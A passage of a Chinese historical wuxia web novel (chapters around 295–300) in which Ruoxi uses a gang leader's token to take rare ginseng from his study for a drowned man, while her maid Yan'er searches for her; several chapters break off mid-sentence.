这时,一旁的年轻侍卫亦似是突然间又想起了什么,便开口插话道:“那可不是,咱们可一点儿都没有言过其实。对了,我还刚刚听说,就在前两天,在西秦城南的郊外里,副帮主的俩个手下在一湖边的凉亭中差点糟践了一良家女子,幸好被一过路的男子及时发现给救了。还杀了那两个手下,听说死的极惨。不过,副帮主好像还没寻到那人,但是,听说刚刚查到有个船夫早起看到好像是同一个时辰,有一男俩女在凉亭里出没过,最后沿着桃花店村的方向策马去了。也不知道现在派去桃花店村打探消息的人,有没有找到那个男子了。若是被找到了,那肯定不止要将他五马分尸,大卸八块了。” 闻此,女子心中顿觉血腥味四溢,深感瘆得慌。 稍时,怔望着手里娇艳的一篮山茶花,不禁又低声喃喃自语起来道:“‘桃花店村’...怎么听起来这么熟悉呢?像是在哪里听过似的,难道是在梦里?” 就在女子正陷入在自己无限长的沉沉思绪当中时,年长守卫终于无奈地决定放弃寻找,近身过去到女子身边一边擦拭汗水,一边说:“若曦姑娘,咱们已经都找了有一个多时辰了,也未曾见到你的竹篮和药草,会不会是方才在这里的俩位姑娘帮你已经带下山了呢?不如,我们还是下山去吧!晚上,山里的湿气更重,莫让湿气将姑娘给打了。” 闻此,女子忽的回过神来朝四周里环视了一眼,似是仍不愿意放弃,吞吞吐吐地道:“要不...咱们再去下午的那片林中挖一株人参回去吧,人参大补元气,复脉固脱,补脾益肺,最是补体虚了。有了它,相信那落水男子一定很快便会痊愈的。” “不行,那里距离这里还有约摸一个时辰的山路呢。这来来回回,待到我们回去怕是也都快要天亮了,你还要煎药,那还不如明日里再上山来采,兴许会更快更顺利呢。这会儿黑灯瞎火的,万一若是被毒虫咬了,亦或不甚跌入悬崖,那可就得不偿失了呢!”年轻守卫 迫不及待地惊讶着脱口即出,将其厉声打断道。 这时,年长守卫若有所思地在一旁立着独自低声喃喃道:“‘人参’,本来咱们骁龙会里最不缺的一味药材便是人参了!只可惜龙帮主不在,凡是极为珍贵的一些药材,他都亲自保存着,以防不时之需,这些好像都放在他书房内的一个被上了锁的柜子里。” 听了这话,女子的眼睛顿时都发亮了起来,甚觉不可思议地惊声问道:“你说什么?你说的可都是真的?龙大哥的书房里就有人参?” “岂止是有人参,还都是些从天南海北到处搜罗回来的极品呢!”年长侍卫一脸惊奇地道。 这时,年轻守卫朝其瞪大了眼睛惊声问道:“我整日与你同时当班,我怎么不知道龙帮主还有这些宝贝呢?” 年长守卫满腹感激之情,幽幽道:“你可记得曾经我整日里倦怠乏力,食少便溏,少气懒言,面色枯黄,形体浮肿,因脾气虚衰,气虚不能生血,饱受脾虚之苦,整日里苦不堪言。后来有一次,龙帮主见我用一些次等山参入药,便唤我去他书房里打开了那个柜子,取了一株千年人参送我,从此以后我便彻底摆脱了病痛,再无疾苦。也是自此,我便默默在心里发誓,此生无论生死贵贱,都唯以龙帮主马首是瞻,绝不二心。” “原来是这样,我就说你那副身子骨,怎么突然间就生龙活虎起来了呢?”年轻侍卫这才恍然大悟道。 岂料一旁早已人不知鬼不觉地搂着那山茶花篮眉飞色舞起来的女子,竟独自偷着乐了起来,嘴里似是还在低声喃喃自语着:“这可真是踏破铁鞋无觅处,得来全不费工夫。” 俩个守卫正呆呆地望着女子出奇,岂料女子忽地大步上前来到俩守卫中间,一把拽住那年长守卫的胳膊乐开花了似的一边走,一边催促道:“你怎么不早说呢?要是早知道龙大哥有此等宝贝,我们就不上山来了。快走,我们这就下山去,是龙大哥书房里的哪个柜子,你现在就带我回去找。” 年长侍卫一边被强行拽着往山下走,一边忧心道:“可是,我们还没有征得龙帮主的同意,怎么能擅自闯入他的书房呢?” “事急从权,相信龙大哥他一定不会怪我的。大不了,我寻遍这世间的千山万水,再还他一株一模一样的不就行了嘛。”女子不屑道。 “可是,我们也没有钥匙啊!”年长守卫此时不知道有多后悔刚才所说出的秘密。 女子似是根本不容置疑地安抚其道:“哎呀,我说大哥你就不要磨叽了,还是快点走吧!‘救人一命,胜造七级浮屠’,我这可是在帮龙大哥积德积福呢,你就把心都放进到肚子里去吧,我保证龙大哥知道了,一定不会怪罪 你们看守不利的。” “不行,你说什么都没用,我生是龙帮主的人,死是龙帮主的鬼,我只服从他的命令,别的人,就算他是玉皇大帝,天王老子也没用。”年长守卫情急之下,一把甩开了女子的手,顿足一脸严肃地拒绝道。 “你怎么就这么固执呢,难道非要我拿出这个来你才安心吗?”女子说着,从袖兜里掏出一金色的令牌亮了出来。 只见上面雕刻着一颇具气势的‘龙’字,和与骁龙会旗帜上所绣的一模一样的金龙图腾。 “你怎么会有这块令牌,这可是骁龙会唯独只有龙帮主一人才有的令牌啊。见此令牌者,如见龙帮主本人...属下参见龙帮主!” 那年长守卫一看到龙字金牌,当即朝其跪拜了下去,而刚刚疾跑赶上来的年轻守卫更是战战兢兢地亦忙跪倒在了其身后地上。 “这下我可以请你带我去龙大哥的书房里取人参了吗?”女子收回金牌,仰起头对其问道。 “可以,可以,小的这就带若曦姑娘前去取人参。” 于是,俩个守卫跌跌撞撞地忙起身来,一边为女子打着火把照亮下山的路,一边疾步向着骁龙会方向回了去。 (本章完) 第二百九十五章:这样好的闺女,谁家的? 回到骁龙会的时候,已是夜深人静时分,到处一片寂静,只有偶尔丝丝缕缕的虫鸣声飘出来。 东院里,龙恩的书房深藏于高大的梧桐树与古木碧荫的环绕中,如此即便是在夏日炎炎也是幽凉舒适,远隔暑气。书房的后窗外,翠竹数丛簌簌清挺,俨然如同一副绿色的天然背景一般,在这宁静的夜里,伴随着阵阵夜风袭来,那树叶儿此刻正发出着沙沙沙的仿佛如是情人之间亲昵无比的互相耳鬓厮磨的声响来。 远远看去,书房里面到处一片漆黑,只有挂在门口的两盏昏黄微弱的烛火下,有俩个如同木雕一般腰间佩剑,一动不动的守卫正一脸严肃地死死守着书房的大门。 而此刻,隐在拱门口处已朝内观望等待了许久的女子三人,至今都并未发现任何可以行动的机会。这时,俩个守卫不禁将目光都不约而同地落向了女子的袖兜上。 女子顿时领悟,忙伸手一把紧紧地揽住了袖兜并压低声音道:“不行,你们不能再打它的主意。关于这个令牌的事,我绝对不允许你们到处声张,以免引起什么不必要的事端来。” 见她态度如此坚决,俩个守卫也只得就此作罢,又无奈地将头悄悄扭了回去。 稍时,那年长的守卫眼睛忽然朝着年轻守卫一怔,俩人瞬间四目相对着,似是产生了某种共鸣一般互相点了点头。 继而,便见那年长守卫先迈开步子从容淡定地走了进去,上前不知道对那俩个正在当值的守卫窃窃私语说了些什么,那俩个守卫顿时便兴高采烈地飞奔疾走退出了东院去。 年长守卫朝着四下里巡视了一圈,方才对着拱门口摆了摆手,那年轻守卫方才与女子一道进入了东院内,遂换作由年轻守卫一人留在门口把风,而年长守卫和女子俩人便就这样毫无阻拦地进到了龙恩的书房里。 一进门,待年长守卫似是很熟悉一般地过去将一张宽大的红木书案上的油灯刚一燃起,女子便被眼前这古色古香,又不失大气的书房惊呆了。 她顿足下来仔细环视了周围环境布局:室内的左侧是主人的床榻与纱帐,其余四壁几乎满满皆是摆着各类书籍的雕花大书柜,上面被各种藏书占满着。此外,其中还有些多宝格上则是展示着各式珍贵古董,供人欣赏。 宽大的书案上笔、墨、纸、砚,香炉等等亦是一应俱全更是极为讲究,西面靠墙位置上的一案几上竟还搁着一架古琴。屋内摆件和盆栽于其间恰好的位置点缀着,整个房间干净整洁,清静淡雅,书香味甚浓。 忽然,中堂墙壁上所挂的几竖幅山水画将她吸引住,走近一看,那上面的落款竟然就是龙恩本人。 只见每幅画面上俱以青绿色绘成,绘青山绿 水,清泉灵动,草木枝繁叶茂,仿若郁郁生风,清凉之意拂面而至,几棵古松生的挺立坚韧,房屋藏匿于树林之后,极为清幽淡雅,山间云雾缭绕,随风而动。 可见作画之人,亦如同这松一样的坚韧不拔,胸襟广阔,尽显其正人君子之风!此情此景,这样的儒雅隐世意境,实难让人将其主人与‘谋反’二字联系起来。 而很快,女子的目光缓缓移动着像是又锁定了什么目标一般,疾步朝着古琴旁紧靠窗边的一案几边上过去,麻利地挽起衣袖来,踮起脚尖伸手进到案上的一青花瓷瓶里,竟摸出来几把钥匙。 对应着上面被雕刻上去的清晰字迹,女子很快便对号入座找到了此时年长守卫正所在的方才说的那个里面存有许多珍贵药草的柜子钥匙,将其打了开来。 顿时,她朝内瞪大了眼睛霎时觉得眼前一亮,遂压低声音惊声尖叫道:“哇,这简直就是一个稀罕药材的展示柜嘛!里面可都是些世间罕见的宝贝呢!” 她激动地将里面一盒盒包装精致的礼盒拿出了一个来打开,兀自一件件如数家珍般对年长守卫挨个介绍炫耀了起来: “喏,这就是《神农本草经》里将其列为药中上品的红景天,它多生长于600—800丈高寒无污染地带。生长环境极其恶劣,也因而具有很强的生命力和特殊的适应性。服用它可轻身益气,不老延年,无毒多服,久服不伤人。除了还能补肾,理气养血,补气清肺,益智养心外,还有很大的美容效果,这可是比人参还要珍贵的药草呢。” 话刚说毕,又将其放回到原来的位置上,继续将剩余的一个个盒子小心翼翼地翻动着,津津有味地道:“还有这龙涎香、各种各样的野生灵芝、冬虫夏草、千年人参、百年野山参、红参、犀牛角、虎骨、鹿茸……原来,龙大哥有这么多好东西呢!” 忽然,柜子角落里单独竖着的用一块红绸布包裹着的一个长方形盒子,看似很神秘珍贵的样子,打开来一看,不禁喃喃道:“檀香木雕兰花纹镯子,这个会不会是龙大哥妻子的东西呢?看似这个好像应该是一对的,怎么少了一只?” 而这时,年长守卫却方才明白了过来:“原来龙帮主不仅将令牌交予了姑娘保管,就连他的钥匙放在哪儿,也都一并全部告诉了姑娘。可见,龙帮主对姑娘是何等的信任,又已然对副帮主有多失望!” 闻此,女子急忙回过神来瞪了一眼那年长守卫,将手指抵在唇边的薄纱上,对其嘘声道:“嘘,小声点。今日你们对我所说的一切,我都记住了。原来,龙大哥并非我最初所想的那般大恶不赦。虽然,我不知道他为何说,那个位置原本就是属于他的 第二百九十六章:要有好吃的了 思来想去,始终都似再也没有什么更放心的人可以代替他俩。 平日里,龙恩很少直接参与骁龙会诸事,所以基本上所有的人和事都是由副帮主龙烨在管理。 此时,年长守卫一脸难色,猛一抬起头,隐隐约约看到似乎从拱门边有俩个极为眼熟的人正朝着他们走来,心里不禁顿时一惊,忙对女子摆了摆手,笑着不解地上前过去问道:“哎,我说你们俩怎么又回来了呢?” 见此,女子赶紧悄悄地将手里那盒老山参盒子藏在了衣袖里。 那俩个守卫歪着脑袋一边朝三人仔细打量着,一边走过去到了书房门前,继而朝其哼了一声,道:“看你们三个鬼鬼祟祟的,该不会是没安什么好心想害我们吧?” “这哪儿能呢?不能够的。”年长守卫忙应承道。 岂料话音尚还未落,那俩守卫竟没有一点儿好气地开口哄赶了起来,道:“快走快走,深更半夜的,不要再呆在这里了,还是我们弟兄俩亲自来看守吧。看你们这一老一小,面黄肌瘦,有气无力,耷拉个脑袋,像是被霜打了的茄子一般。这若是出了什么问题,到时候还得连累我们一起承担责罚。走走走,快走!” 还未来得及问清楚事实真相,三人就这样被连轰带赶地轰出了东院。 “这到底是怎么回事啊?”年长守卫和年轻守卫俩面面相觑着望着那俩人,一脸的莫名其妙。 不过,这下也总算是彻底解决了他们眼下最大的麻烦。所以,之后俩人又四目相对着窃笑了起来。 而另一边,女子却突然发现似是有个熟悉的男子身影,忽地一下从一旁的廊柱后闪过,兀自走上了一条回廊渐渐远去。 她顿时蹙眉纳闷地口中喃喃道:“那背影...怎么那么像湖边遇到的那个人呢?” 就在这时,那年轻守卫的肚子忽然一大声地打起了鼓来“咕噜噜” 女子蓦然回首朝其望了过去,正欲开口说点什么,而紧接着,又是一更大声的“咕噜噜”。原来,年长守卫的肚子亦在开始发出来饥饿难耐的信号。 俩人顿时伸手将自己的肚子紧紧抱住,各自现出满脸的尴尬之色。 见此,女子摇了摇头,笑着道:“折腾了这么久,我也肚子饿了,你们有人知道庖屋在哪儿吗?” 女子边说,边朝四下里张望寻觅起来。那年轻守卫一听,立刻来了劲,忙上前凑过去到其身旁一脸惊喜地道:“我知道,我知道,就在茶室旁边,姑娘你会煮饭?” “呵呵!”女子顿显出一脸神秘之色,淡淡地笑了笑,遂紧跟在年轻守卫的身后兀自踱步朝着茶室方向而去。 而此时,在散发出阵阵幽香的骁龙会茶室里,燕儿独自一人勤快地终于在收拾好一 切后,刚刚沏好了两杯好茶来。 看着茶叶在沸水中慢慢舒展开来,宛如蓓蕾初绽般美好动人。闭起眼睛,感受着周围一片寂静,只闻到手里的茶香阵阵,再轻嘬一小口,将其缓缓咽下,转瞬间茶香已在唇齿间肆意回荡着,甚感别样惬意。 仿佛此时正置身于青山拥抱着的连绵茶园,横无际涯。曲径通幽的山间茶园古道上,风光无限。只觉瞬间,所有的心事和烦恼都被抛之脑后,亦或烟消云散了去。 缓缓睁开眼来,燕儿欣喜地捧起盛着两只茶碗的茶盘来向着一旁正双手支着下巴,对着案上一竹篮药草发呆的兰香身边踱步过去。 看着兰香始终都只是纹丝不动地愣坐着,不吃不喝,不眠不休,燕儿嘟着小嘴疑惑地将其中的另一碗茶摆在了兰香面前,继而坐在其身旁故意笑着打趣道: “兰香姐,燕儿竟不知,兰香姐何时起也对这些药草感兴趣起来了。那不知你自从山里回来之后到现在,与它们大眼瞪小眼,面面相觑着端详了那么久,可有研究出这些到底是什么了吗?” 闻此,兰香只是出神地微微摇了摇头,似是仍陷在自己苦苦的思索当中,并没有说话。 于是,燕儿笑了笑,说:“这若是我们小姐的话,她准能一眼便认出这些花花草草来。不仅如此,还可以将它们其中每一样的功效主治及验方说的头头是道。我们小姐呀,她简直就是一本活药典,她……” 燕儿正说的起兴,岂料兰香却忽然缓过神来猛地一把紧紧地攥住了燕儿的手,情绪激动地道:“燕儿,我确定傍晚时分那个跳湖救人的男子是他,真的是他,一定是他!” 虽然对于兰香的举动顿感震惊,燕儿还是严肃认真地想了想,说道:“跳湖救人的男子是他...你是说,他就是你所说的那个看起来与这里的其他人有所不同,不像是个坏人的那个人,可以有办法帮助我们离开这里的人吗?” 兰香紧紧抿起嘴来,拼命地对其不住点头。 “可那又怎么样呢,我们不是说好了要先办完你的事才离开这里吗?...不过,我倒是更佩服那个先跳湖的粉衣女子,她可比那些只知道站在一旁看热闹,说风凉话的男人们强多了,她可真是厉害啊,竟敢从那么高的地方跳下去!” 燕儿一边从兰香的手中抽出自己的手 第二百九十七章:我们之间最好的距离 “若曦姑娘,原来你真的会煮饭呢!这饺饵的味道极好,我长这么大了,从来都没吃过这么好吃的饺饵。皮薄馅多,清香美味,虽然样子看起来不怎么好看。”年轻守卫直蒙着头一边狼吞虎咽地吃着,一边诚恳地连连赞叹道。 女子手里端着两盘圆滚滚且晶莹剔透的饺饵,一边走过去将其递到年长守卫的手中,一边淡淡地谦虚说道:“你那是因为太饿了,才会觉得什么都是好吃的。” “还是姑娘先吃吧,我下一锅再吃也不迟。”年长守卫伸出手去将两盘喷香的饺饵推让道。 女子推辞道:“你们俩先吃吧,不必管我,若是待会儿不够,再自己煮一些,案上还有很多。参汤应该炖的也差不多了,我去茶室里看看。若是好了,便将其马上送过去给那落水男子,早吃早好早不受罪!” 年长守卫听了后暗自想了想,疑惑地问:“可这深更半夜的,你知道那男子如今身在何处吗?再说了,这偌大个骁龙会,找个陌生人怕是并不容易呢!你先坐下吃点儿吧,等会儿我们一起陪你去四处打听打听再说。” “对啊对啊,吃饱了肚子咱们一起去嘛,我还想看看那人究竟是何方神圣呢,真是好勇猛啊!竟然就那样嗖的一下,便如一道闪电般飞身了下去。”年轻守卫亦顿然起身来,站在一旁手舞足蹈地起哄道。 女子稍加思索,仍然坚持道:“今日里的这件事,骁龙会里怕是已有许多人都知道了,我出去一问便知。况且只有我才知道同我一道将那男子救上来的人的模样,他答应我会将他带回来好好照顾的。夜也深了,你们吃好之后,赶快回去歇一歇,晚上还要在后院里值夜呢!我将参汤送过去,看看就回,你们就放心吧,不会有事的。” 知道女子的性子向来如此倔强,怕是再多说也是徒劳,年长守卫叹了口气,也不再说什么,只将自己手中的两盘饺饵中的一盘,送到了女子面前,道:“知道拗不过你,这盘饺饵你先拿去垫垫肚子吧,不要总是为了别人而忘记自己。夸你的话,我就不再多说了,总之,一切小心。” 闻此,女子心中顿时涌上一股暖流,于是缓缓伸出手去将其接过,道:“放心吧,我去去就回。” 其实,就算没人帮她守着后院,仅凭她满屋子的药草,毒草,也是没有人能拿她怎么样的。左不过,她也只是心疼这俩人,如此一来,白天晚上便会不得休息而已。 夜色如水,月光如练,春风拂过,飞花万盏,浮华落尽。 此刻,骁龙会西院,副帮主龙烨的院子里一不起眼的角落上,一间并不怎么大的屋子里一室寂静,唯有内屋里那随风摇曳着的一盏昏暗的烛火正散发出隐隐约约的光 芒来。 屋内,一冷峻男子正双手环胸手持着佩剑,斜靠在床头,许是因为实在是太困了,竟不知不觉地打起盹来。然即使是如此这般狼狈的模样,看起来依旧透着一抹冷冷的英俊与正义之气。 而床上躺着的,便是那个白日里在山上被人不甚逼落湖中,陷入昏迷至今都未曾真正醒来过的一脸苍白的男子,此时,却已经换上了一身骁龙会的红色衣裳。 “咚咚咚”忽然,一阵缓缓的叩门声响起。 虽然那声音轻的几乎有些淡不可闻,然警觉性极好的他还是猛地一下便被惊醒了过来。 “谁?”男子手持佩剑快步走到了客厅的门口,沉声问道。 “是我!”传入耳畔的似是一女子柔柔弱弱的声音。 男子心中似是已有些猜忌着忙一把将门打了开来,却见从黑暗中顿时映入眼帘的竟不是自己所等的那人,然也是一个面容姣好的娇美女子,再仔细定睛一看,还似是有些熟识。 待其稍加思索,忽一想起来女子的品性,便立刻现出一脸不悦地决绝伸手欲要将门关起时,那女子竟亦同时飞快地伸手出来用力将门板抵住,对其祈求道:“等等,先不要关门,今夜我来找你,是有事情想要请你帮忙!” “对不起,你的事,恕我无能为力!”那冷峻男子竟头也不抬,只两手紧紧地扶着门框,用自己整个高大挺拔的身子将女子死死地挡在门外,沉声拒绝道。 而女子亦只身挡在门外毫不退让,满脸疑惑地道:“可我还未说是什么事呢,你怎么就知你无能为力帮不了呢?” 冷峻男子此刻一点儿也不想与她多废一句话,当然不仅仅是因为她的狐媚品性,更是不想被人发现这个院子里有女人的存在。能在龙烨院子里贴身伺候的,可都不是些什么好主。于是,他想都不想,脱口即出:“不管什么事,只要是和你有关的,我都无能为力。” 岂料女子竟不管他怎么说,说什么,依旧对其死缠烂打,软磨硬泡着始终都不愿放弃。这会儿转眼竟又开始抹起了泪来:“为什么你对一个陌生人都能那样慷慨地伸以援手,却将我一个孤苦无依的小女子拒之千里以外呢?枉我还以为你与这些土匪强盗不一样呢,原来,你也是那样的冷血无情,杀人不见血。” 本以为自己情真意切,梨花带雨一场,男子这次至少也会说一些与之前不同的话,稍加慰问几句。岂料,他竟突然伸出手紧紧地捉起女子附在门板上的两只手,愤怒极了地瞪着她的眼睛对她吼了起来:“少废话,你要是再不走,等会儿来人了,你想走也走不掉 第二百九十八章:深不可测的暗器 远远地,一缕若有似无的灯火照耀下,前院口处现出一名脸上遮着纯白面纱,一袭被湖水打湿却至今都来不及更换,然早已被那瘦弱温热的体温与夜风一起将其干透了的粉色长裙的纤弱女子,双手紧紧捧着一个视若珍宝的食盒将其牢牢护在怀中,一边挣扎着对两名架着她胳膊与其正拉拉扯扯的红衣壮汉狠狠怒道:“你们要干什么?放手!” 那其中一名面相粗犷的红衣壮汉顿时嘴角一咧,朝其露出一脸狡黠极了的坏笑来,毫不松懈半分地将女子细弱的胳膊紧紧捏在手心里,玩味十足地道: “美人儿,这天都已经这么晚了,你说我们要干什么。大半夜的,你不睡觉,若是真的寂寞难耐,你又何苦寻寻觅觅,到处打听什么落湖男子啊!不如找大爷我们俩岂不更好,你看我们这威猛且强而有力的体格,我们一定会竭尽所能将你喂的饱饱的,伺候地舒舒服服的,你看如何?” 正说着,其附在女子右边胳膊上的那只手竟然肆无忌惮地开始在其身上其它地方游离起来,岂料手刚一松,却被女子用胳膊肘神不知鬼不觉极其机灵地触碰了一下其臂弯处。瞬间,那男子只觉得自己整条胳膊伸而不能屈,顿时被一阵麻痛感袭遍,失去了力量。 待其反应过来,还以为是自己中了什么独门暗器,便一边急急在胳膊上到处寻找着,一边朝其大声怒惊道:“小丫头片子,竟敢‘敬酒不吃吃罚酒’,你对爷爷我使了什么暗器?” 而此时,另一红衣壮汉一见女子开始反抗,亦不知其身上带了什么厉害的武器,便乘其不备当即一把夺过了女子手中的食盒,对其恐吓起来道:“还不乖乖快把你的武器给爷爷交出来,若是再不老实,你这个宝贝可就归我们弟兄俩了!” 女子忽一发现手中的食盒被人夺了去,紧张地忙上前去使劲一手拽住那壮汉高高举起食盒的胳膊,同时踮起脚尖来用另一只手去够那食盒:“你快还给我,这个是要用来救人性命的汤药,你不能拿走它。” “救人性命的?是救你要夜会的情人,相好的?所以意思就是说真的很重要,很紧急咯,如此看来,那爷爷我便更是要将它毁掉不成了。”岂料那壮汉竟都不将其打开来看看是什么,只垂首深看了附在自己身上的女子一眼。将话一说完,便似是已在聚集力气,朝着身旁四周瞥了一眼,欲要将其朝身后不远处的草丛里大力的甩出去。 看到食盒已然高速地在半空中飞转起来,女子绝望地忙用双手蒙起眼睛来痛喊道:“不要!” 就在这时,耳畔忽然响起一冷冷的男子沉声道:“你们在这里做什么?发生了什么事?” 闻声,女子哗的一下打开了被自己蒙 起的双眼,却惊现出一张冷峻男子的面孔,正单手负后着玉立在自己的面前,手里稳稳地拖着那个被她以为早已经摔成了碎片的食盒。 顿时,她惊喜地朝其身边飞奔过去,一把夺过了食盒再次将其紧紧揽入怀中轻轻拍了拍,又立刻将其放在脚下的地上打开来仔细查看着,对那冷峻男子连连致谢道:“谢谢,谢谢,真是太谢谢你了。今日为了这药,我可是费了不少功夫呢。若是就这样没了,那可就太可惜了。” 看到食盒里的参汤安然无恙,这才抚了抚胸口安下了心来,又忙将其盖起来起身抬头一看,顿时对着面前的男子惊诧地道:“咦,原来是你,我找了你已经好一会儿了。当时情况紧急,竟忘记了问你尊姓大名,住在何处?对了,那个人他……” 岂料其话未说完,冷峻男子便急急开口扬声将其打断道:“深更半夜的,你跑去哪儿了?让你给副帮主煲个汤,怎么去了那么久,竟然还迷路了!” “我……”突然闻此莫明其妙的话,一时间里,女子竟有些蒙了,也不知道该说些什么来回应才不会露馅,便只乖乖地傻傻站在原地里,一动也不动。 这时,听着俩人对话,早已面面相觑着怔愣在一旁的俩名红衣壮汉似是终于明白了一些,那面相粗犷的壮汉缓过神来,纳闷地嘴里喃喃道:“煲汤?副帮主?原来你是要去副帮主的西院里啊,那你方才怎么说要找一个什么…今日里落入湖中的男子呢?” 闻此,冷峻男子上前两步向其解释道:“哦,是这样的,今日我的手下随我巡山,一不小心跌落湖中,我便请这位姑娘一起帮忙煮了个药给他服用。岂料,她却如此笨手笨脚,竟然迷了路,还望俩位行个方便,放她走吧。” 那壮汉顿时恍然大悟:“原来如此,既是副帮主院子里的人和事,那你就赶快带她走吧。这夜里黑灯瞎火的,以后可别再到处乱跑了。若是真出了什么事情,那可就糟了。” “我这就带她回去,多谢二位!”冷峻男子朝其拱手谢道。 谁知俩人刚回头走出没两步,身后忽然又炸出一句:“站住!” 闻声,冷峻男子的眼睛突然抬起看着前方冷冷地一怔,一手握紧了腰间的佩剑,然片刻后,终是咬了咬牙又缓 第二百九十九章:多一事不如少一事 从骁龙会东面的一个小院落里出来,往南走过一风景独好的小桥流水,绕道上长廊一直往东南角行去,茶室便掩映在一片翠竹芭蕉林之后。 推开门进去,燕儿挑灯一照,一眼便看到了在进门口处一角上的大水瓮旁边的案几上放着一条由红色绳子所穿着的个头极大的墨色底色,上面居中着一条规整而粗壮的白线,其与底色之间的颜色对比极为强烈的药师珠手链。 于是,她满脸庆幸地急奔上去,一把将其拾起紧紧地攥在手心里,激动地说道:“我的药师珠手链真的在这儿呢,还好小姐给我的手链没被弄丢,这可是现在燕儿对小姐唯一的念想了。小姐啊小姐,你到底在哪儿啊,你怎么还不回家呢?” 忧郁迟疑了片刻后,燕儿正欲转身踱步回去,忽然一挪脚,感觉似是脚下被什么东西硌了一下。 于是,她纳闷地缓缓垂首下去将脚下的位置照亮了仔细一查看:“咦,这里怎么会有一只檀香木雕兰花纹镯子呢,不会是兰香姐的吧?她一定也是和燕儿一样,没有发现自己竟将手链给弄丢了,还好被我给拾到了,帮她一起带回去,她一定会很高兴的。” 将这两个失而复得的首饰安全地落入袖兜里,瞬时间,似有一股什么气味儿飘了过来。燕儿不禁撅起鼻子来回头朝里面一边走去一边闻了起来,口中喃喃地猜测道:“嗯?这闻起来怎么好像是芹菜的味儿呢?茶室里怎么会有这个味道?” 正在纳闷,眼前炉火旁的案几边上忽然亮出一盘圆滚滚,晶莹剔透,似是极为诱人的饺饵来,燕儿立马朝其惊声道:“哇,这里怎么会有一盘饺饵呢?难道是兰香姐留下的,是留给我的?兰香姐回来过吗?兰香姐,兰香姐……” 顿时朝着四周里喊了半天,并不见有人回应,燕儿便一边馋嘴地舔着嘴唇对其傻笑着,一边直接伸手捏起其中一个来往嘴里送了去。 “正好燕儿的肚子也有些饿了,不管了,不管了...吼吼吼......嗯,味道还不错嘛……”自言自语地大口大口吃着,似是又觉得哪里有些不对劲,燕儿便将那只欲要入到口中的饺饵缓缓退了回去,捏在手里仔细地对其端详了半天,不解地道:“不对啊,这饺饵的卖相这么丑,不像是懂厨艺的人所为,倒是……怎么那么像小姐包的呢?而且,这盘子里还有个似是被人咬掉了一口,里面竟是一整颗蜜枣的半个饺饵……” 此时,除夕夜在城西衣府的庖屋里,大家其乐融融地一起包饺饵的温馨回忆顿时涌上了燕儿的心头,她眼睛扑朔着,激动地喃喃道:“难不成……这不是兰香姐留下的,而是小姐来过?我早就感觉这里似是有小姐的气息,难道她真的也在 这里?” 燕儿一边纳闷着,一边忙抬起头来朝着旁边那被翠竹芭蕉林隔着的庖屋里张望了去,看见隐隐约约似是有光线散发出来,便疾步朝隔壁喜奔了过去。 “小姐,小姐……”然一边欣喜地叫喊着,进门一看,却是俩个守卫正在收拾碗筷,便火急火燎地上前去看了眼空空如也的盘子,继而紧紧拽住那年轻守卫的胳膊对其连连质问道:“你们方才吃的是不是饺饵?是谁给你们包的?那人现在在哪里?” “姑娘你这是…我们……” 年轻守卫顿时被燕儿大力地摇晃着,似是都要晕了一般,正准备说话,岂料年长守卫忙上前来将燕儿的手拉开,挡在年轻守卫的前面道:“姑娘,你这是怎么了?我们俩个大男人半夜里肚子饿了,溜到庖屋里来包个饺饵吃有什么问题吗?” “那饺饵真是你们俩包的?”燕儿疑惑道。 “不然呢?”年长侍卫反问。 燕儿默了会儿,又问:“既然是你们俩包的饺饵,又为什么会有一盘跑到隔壁的茶室里去了呢?” “煮着煮着,发现这里水瓮中没有水了,我便捧着一边走一边吃,去茶室那边舀了两勺水回来,许是不小心落下了一盘。莫非这也要跟姑娘请示?”年长守卫毫不犹豫地道。 燕儿疾步过去查看了眼空空荡荡的水瓮,顿时无言以对了,便朝着四下里探了探,又默了一会儿,一脸失望地对其歉然道:“我以为是……对不起,是我莽撞了。” 话一说完,便无精打采地转头向门外走去。走着走着,猛地又回过头来一副可怜兮兮的模样问了句:“请问一下,你们有没有见过一个脸上遮着白纱,心地很善良的小姐啊?” 闻此,俩守卫顿时四目相对了起来,片刻后,年长守卫先开了口道:“你找这个人做什么?” 燕儿转身,泪眼朦胧地痴痴道:“她是我的小主人,在一个风雨雷电交加的夜里,在城南与秦王殿下一起遭遇不测不甚落入了碧水湖中。后来,秦王殿下得救了,而我家小姐却随波逐流,生死未卜,不知道漂到哪儿去了。现在整个天下都在找她呢,我也是因为在找她的途中才被劫到这里来的。我真的是太想念我家小主人了,这才一看到似曾相识的饺饵,便以为是我家小姐所为,原来并不是。” 闻此,一旁的年轻守卫早已按奈不住心里的激动,几次三番想要开口,然年长守卫却拼命地拽着他的胳膊压制着他,年长守卫道:“你这个小姑娘,这里 第三百章:竟然还是俩 燕儿怀着满心的热切期盼,小心翼翼地刚一踏步进入到西院的正门拱门口处,忽然被一阵厉声的呵斥当即镇住:“什么人?竟胆敢夜闯这所院子。” 遂一紧张,尚还未看到任何动静,燕儿心里只咯噔一下便立刻停下了脚步,接着忙一口吹灭了手中的灯火,慌乱之中灵光一闪,摸黑快步上前数步闪身进到了回廊台阶旁,院子中央的假山矮树丛后,蹲身下去紧紧地缩成一团躲了起来。 这才透过树丛上的枝丫,朝着声音传出的方向怯怯望去,却是一抬头便在一片星月微光中,看到回廊上有两名高大的红衣守卫,一手挑灯,另一手里刀光闪烁,已然站到了自己面前那回廊的台阶边上,一步便垮下了台阶来,疾步直向着她方才所站立的拱门口方向靠了过去。 燕儿一见,顿时摒住呼吸,一把紧紧地捂着自己的嘴巴,整个人瞬间似是都快要透不过气来,心里紧张极了,就连小小的身子也不由自主地开始发起了抖来。 那两名高大的红衣守卫一走到拱门口处便开始分头行动,在门口附近,里里外外仔仔细细地搜寻起来。 片刻后,俩人碰头聚集在了一起,其中一名守卫纳闷地说:“不对啊,方才我明明看到这里有隐隐的烛火之光发出,怎么一闪便不见了?” “许是你看错了,也有可能是旁边东院的人从门前路过吧,好了好了,我们再去其他地方巡视吧,快走吧!”另一守卫一边解释着,便与其一前一后一道离开了门口,再次经过了燕儿所隐身的那座假山旁。 正欲继续踏上回廊兀自离去到别院里巡视,那名始终纳闷不止,最先发现拱门处异常的守卫似是仍有些不死心地眼神犀利地到处张望着。就在其一只脚刚踩踏上台阶,忽然回头瞥见了脚下的那座假山,遂又举起大刀来将其横在自己身前悄悄地下了台阶来,缓缓迈步朝其探身了过去。 